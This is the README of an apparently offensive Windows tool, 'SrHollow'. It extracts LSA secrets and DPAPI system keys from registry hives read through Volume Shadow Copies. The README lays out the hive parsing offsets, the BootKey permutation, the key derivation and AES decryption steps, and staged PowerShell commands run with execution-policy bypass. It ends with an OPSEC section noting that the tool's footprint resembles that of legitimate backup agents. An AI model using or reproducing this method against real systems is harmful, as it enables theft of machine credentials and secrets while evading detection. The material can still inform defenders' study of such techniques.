
既存または新規作成されたVSSシャドウコピーを介してWindowsレジストリハイブからLSAシークレットとDPAPIキーを抽出し、インラインのregfパーサーとAES-256復号を備えています。
LSAシークレットの抽出、既存のVSSシャドウコピーの再利用 + インラインregfパーサー + bcrypt.dllによるAES-256 LSA復号。
NtOpenDirectoryObject + NtQueryDirectoryObjectで\GLOBAL??を列挙。番号が最大のHarddiskVolumeShadowCopyNを選択。SrClient.dllのSRSetRestorePointW(BEGIN_SYSTEM_CHANGE, DEVICE_DRIVER_INSTALL)にフォールバック。SeBackupPrivilegeを有効化(AdjustTokenPrivileges)。CreateFileW("\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\config\{SECURITY,SYSTEM}", FILE_FLAG_BACKUP_SEMANTICS)でbyte[]に読み込み。regfウォーカーがハイブを解析: ベースブロック、セルタイプnk/vk/lf/lh/li/ri/db/sk。KeyNodeレイアウト、フラグ@0x02、サブキーリスト@0x1C、値リスト@0x28、セキュリティキー@0x2C、クラスオフセット@0x30、名前長u16 @0x48、クラス長u16 @0x4A(初回でバグだった箇所 — Microsoft自身のドキュメントはここが曖昧)、名前@0x4C。ControlSet00N\Control\Lsa\{JD, Skew1, GBG, Data}のClass UTF-16 hexを連結 → 16 raw bytes → [8,5,4,2,11,9,13,3,0,6,1,12,14,10,15,7]で置換。Policy\PolEKList\(default)(172バイト)からLSA AES-256キー: salt = bytes[0x1C..0x3C]; tmpKey = SHA-256(BootKey || salt * 1000); pt = AES-256-CBC-decrypt(bytes[0x3C..], tmpKey, IV=0); LSAキー = pt[68..100]。Policy\Secrets\<name>\CurrVal\(default)配下の各シークレット: 同じレイアウト、BootKeyの代わりにLSAキーでsaltストレッチ。DPAPI_SYSTEM本体: bytes[4..24] = MachineKey、bytes[24..44] = UserKey。これらはホスト上のすべてのSYSTEMスコープDPAPIマスターキーを復号する。SrHollow/
├── README.md <- you are here
├── src/
│ └── SrHollow.cs <- inline regf parser + LSA AES crypto (~350 LOC, single file)
└── stages/
├── Stage1-Recon.ps1 <- read-only shadow enumeration
├── Stage1b-ReadShadowHives.ps1 <- auto-detect / auto-create shadow + slurp hives
├── Stage2-Decrypt.ps1 <- BootKey + LSA key + all secrets
└── Stage3-Report.ps1 <- formatted operator report with OPSEC footprint
src/SrHollow.csはSystem.Security.Cryptography(それ自体がbcrypt.dllにプロキシする)以外に依存関係ゼロ。Add-Typeまたはcsc.exeでそのままコンパイル可能。
管理者権限のPowerShell
# 1. Read-only recon, see what shadows already exist
powershell.exe -ep bypass -File .\stages\Stage1-Recon.ps1
# 2. Extract SECURITY + SYSTEM from the newest existing shadow
# (creates one via SRSetRestorePointW if none exist)
powershell.exe -ep bypass -File .\stages\Stage1b-ReadShadowHives.ps1
# 3. Derive BootKey + LSA key + decrypt every secret
powershell.exe -ep bypass -File .\stages\Stage2-Decrypt.ps1
# 4. (Optional) formatted operator report
powershell.exe -ep bypass -File .\stages\Stage3-Report.ps1
必要条件: ローカル管理者(SeBackupPrivilege用)、実行中または起動可能なVolume Shadow Copyサービス(Windows 10/11ではデフォルト)。
シャドウが既に存在する場合に残される帰属可能なシグナル:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\...に対する1回のCreateFileWSeBackupPrivilegeを有効化する1回のAdjustTokenPrivilegesbcrypt.dll経由の標準的なSHA-256 + AES-CBC(ユーザーランド、目立たない)これはほとんどの正規バックアップエージェントと同じファイルオープンプロファイルである。